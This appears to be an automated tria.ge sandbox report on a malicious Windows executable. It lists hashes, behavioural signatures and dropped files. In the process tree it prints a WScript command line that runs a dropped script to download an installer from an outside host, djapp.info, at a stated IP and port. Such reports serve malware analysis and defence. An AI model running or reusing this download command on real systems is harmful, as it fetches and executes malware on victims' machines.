Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
06/09/2024, 15:37
Static task
static1
Behavioral task
behavioral1
Sample
20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe
Resource
win7-20240708-en
General
-
Target
20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe
-
Size
184KB
-
MD5
ce50ed54a539f85a378626c786c8a5fd
-
SHA1
b0ac55b2a82533238a96233db46692490f763b65
-
SHA256
163c5db8ff5d6da725486749841705e441d967fcda70f3a03301f26052b0863a
-
SHA512
727fd07e6256c2d96760bb0b4f724794b3a530a163dcb2ea8cf5908f550a46b0860c33a2b8ccf0009daa7611059ff49eea3453625fe5b2954125a5d2fa075f8f
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndnY
Malware Config
Signatures
-
Blocklisted process makes network request 12 IoCs
flow pid Process 6 328 WScript.exe 8 328 WScript.exe 10 328 WScript.exe 13 2600 WScript.exe 14 2600 WScript.exe 17 2840 WScript.exe 19 2840 WScript.exe 21 2840 WScript.exe 30 2244 WScript.exe 31 2244 WScript.exe 33 1540 WScript.exe 34 1540 WScript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1928 wrote to memory of 328 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 30 PID 1928 wrote to memory of 328 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 30 PID 1928 wrote to memory of 328 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 30 PID 1928 wrote to memory of 328 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 30 PID 1928 wrote to memory of 2600 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 33 PID 1928 wrote to memory of 2600 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 33 PID 1928 wrote to memory of 2600 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 33 PID 1928 wrote to memory of 2600 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 33 PID 1928 wrote to memory of 2840 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 35 PID 1928 wrote to memory of 2840 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 35 PID 1928 wrote to memory of 2840 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 35 PID 1928 wrote to memory of 2840 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 35 PID 1928 wrote to memory of 2244 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 37 PID 1928 wrote to memory of 2244 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 37 PID 1928 wrote to memory of 2244 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 37 PID 1928 wrote to memory of 2244 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 37 PID 1928 wrote to memory of 1540 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 39 PID 1928 wrote to memory of 1540 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 39 PID 1928 wrote to memory of 1540 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 39 PID 1928 wrote to memory of 1540 1928 20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe"C:\Users\Admin\AppData\Local\Temp\20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB155.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB155.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:328
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB155.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB155.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2600
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB155.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB155.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2840
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB155.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB155.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2244
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB155.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB155.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:1540
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD57fb5fa1534dcf77f2125b2403b30a0ee
SHA1365d96812a69ac0a4611ea4b70a3f306576cc3ea
SHA25633a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f
SHA512a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e
-
Filesize
436B
MD5971c514f84bba0785f80aa1c23edfd79
SHA1732acea710a87530c6b08ecdf32a110d254a54c8
SHA256f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895
SHA51243dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58
-
Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Filesize174B
MD52739ba9f2c0149171c516a4fe6751f79
SHA1c409c4b799a7a8e79781eb02e0c29ce73b3682dc
SHA256bbe67a62ae3d8d5a5a50609f8cae7604c6ec2249f10288832b44cfa91a0ca252
SHA51282d1a24daf71cc9d924023f66b87b030adbbd1dcd64394e6d5edf523fea9c5311f108066ab70e5911c38bd1af54ad89bd046e74ce32add811799a62d99853e20
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5606a706b75446acd91ad5e5b30aad984
SHA1a7f5244d9b29eb686982ec5ebcfb326fc8bc7a4f
SHA256ae91cc9d0d07c281e84e5bef0c484a517bd3349ee967e916aee6a78a7d7cc559
SHA512ab7d29fd047a690f63eb10fb03bdfa1e77421ee1bfaa9dddfa8db25afd2c414199fb94fe8514118fd76fc7c4b743422e05dbf24eaacd8c16c96de3898ce1b014
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Filesize170B
MD548c67af045af87d53d9890cf548b1a6e
SHA1e2c56f555c8a5577b3a1efab082de18ab9244660
SHA256546f846b519c07e470e0565e38e6faf2bd214d725066beb4f99467fe21af2d88
SHA5123ccec957b3f3ccc8009b6dd861c7eec11ff69f698ce0ff34dcbe5ef3b995da113398efbb8379cf5a5fd04962ff72f41d9863d22007dc93c0ef3d8c6a60350f01
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize242B
MD59c057ec86af63c1e5d6b11826d773dbc
SHA18918f6a1a6e6e6fa91177427994df6c6b8e0c422
SHA256ff30e60994bb551d0ce849fccfefa723cbb89b8d7782a5f4fe9228883a2350db
SHA5122093cd481df1e39829776a6c72acfd0416b18ec79a82f935a30cc0dd2abdd0c50adab5ea6aba52d1441a9743b5b508831bae180dfcbd51f78a2df6ccd8983fbb
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\domain_profile[1].htm
Filesize40KB
MD539a109305b9651c938ac27281aba3af8
SHA1dcd202237de2c7ee2e5f037e3024b85097a3c053
SHA25616b6b8a435f781fb2231c8e9b3c1cac02e2e16b9a7bd63dd49684a827c365df0
SHA51295d31f3d1f04b666a0d5a6a2d6e378b8c491eaf6bceb879540d0b9785564c6deaff61633a13e633f86bed700443ee5d52d72a4bd3c677e030d8d1ac0364cd9d7
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\domain_profile[1].htm
Filesize6KB
MD5cdd3415895a459dc8885de21cac42f64
SHA1b274528de9017b6cb133df0d8851d7d26b469ca8
SHA256d9369a7c784852fbd8dd6377d4e427767868b4f8f35865e0eb801cf1d6b69a9d
SHA512a62618185cd21a4063b5872051eaadbb4e9d389abfbe5c6f2ab65c8e89fac26c5d52226034ab185a2cabcb0877080d86cd8ddff485093aacfd387fb531d59282
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\domain_profile[1].htm
Filesize6KB
MD50bbec0271264a4e5b69d30e073a2efd0
SHA1c1fc5b22d15639b6f98790ee2ec245d7efdef49e
SHA256a2df9816e786ea545a1626339f8cddc5048dad0826a17422b3d2e7a22e8cc3c5
SHA512f89b7f63adf589a82f25b6b28571c89c694065ac64afd6065613e28f033b571f3d36b2c6aae338e89cd465d96af06ed531067a54693e781b193d68262adce05e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\domain_profile[1].htm
Filesize40KB
MD5932923a4a973f6cd5f8ea214241966d7
SHA1a4fa1af7584292240e203276a4484f3bc9f5a652
SHA256b832733187c3c2228fc3a8eb3aa27201a58af2433ab08eba6441839eb5bf2420
SHA512bb9f83d5d89a80f86e1d90bb75fa7d2be143b25d066935f2df5d78e8d9a14b028e5553121f21f8c6a23f59bfc48215c6e3d6a16cf9ac693c504483703da6daf5
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
Filesize
177B
MD5b15c3960ad93192a1a36c5bc67ae99d8
SHA15f28bfb255ec5209935d098870190134f70726f6
SHA256bcb13fd59562e3349fb559c6624904cd99f3b4717182cf2e3b932e3b6f0d0c22
SHA512b7e91e5b840e5e181a0b10adb90fe0409889c04d1cf84f914e1c204d42af0ce16d7e28e804648211b80ae262628397e911b2b4c8988bebb999560b0c372deaca